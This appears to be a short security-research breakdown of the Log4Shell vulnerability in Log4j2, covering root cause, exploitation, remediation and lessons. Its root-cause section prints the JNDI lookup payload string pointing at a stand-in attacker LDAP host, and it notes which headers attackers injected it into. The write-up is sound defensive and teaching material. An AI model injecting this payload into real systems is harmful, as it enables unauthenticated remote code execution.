An independent re-analysis by Goldberg Security Research of a publicly disclosed vulnerability: our breakdown of root cause, exploitation, and defence. Discovery credit belongs to the original researchers (see references).

Why it was catastrophic

Log4Shell married trivial exploitation with near-universal reach. Log4j2 is embedded in a vast share of Java software, and the trigger was just a string that got logged — something attackers can influence almost anywhere (a header, a username, a chat message). One line, unauthenticated, full RCE.

Root cause

Log4j2 supported message lookup substitution: special ${...} tokens in a logged string were expanded at log time. One lookup was JNDI, which can fetch and resolve objects from a remote directory server. So logging an attacker-controlled string like:

${jndi:ldap://attacker.example/a}

caused Log4j to reach out to the attacker's LDAP server, fetch a malicious object reference, and — on vulnerable JDKs/configs — load and execute attacker-controlled Java. The data being logged was being interpreted, not just recorded.

Exploitation

Attackers sprayed the payload into any field likely to be logged — User-Agent, X-Forwarded-For, form fields, even device names — and stood up an LDAP/RMI server to serve the second stage. Within hours of disclosure, mass internet-wide scanning and exploitation were underway, dropping coin miners, RATs, and ransomware footholds.

Remediation

  • Upgrade to Log4j 2.17.0+ (2.15 fixed the core issue; 2.16/2.17 addressed follow-on CVEs).
  • Where upgrade lagged: remove the JndiLookup class from the classpath.
  • Inventory transitive Java dependencies — Log4j was buried deep in countless products.

Takeaway

The enduring lesson: a logging library should record data, never interpret it. Any feature that turns logged input into executable lookups collapses the data/control boundary — and logging touches every untrusted input in the system.

References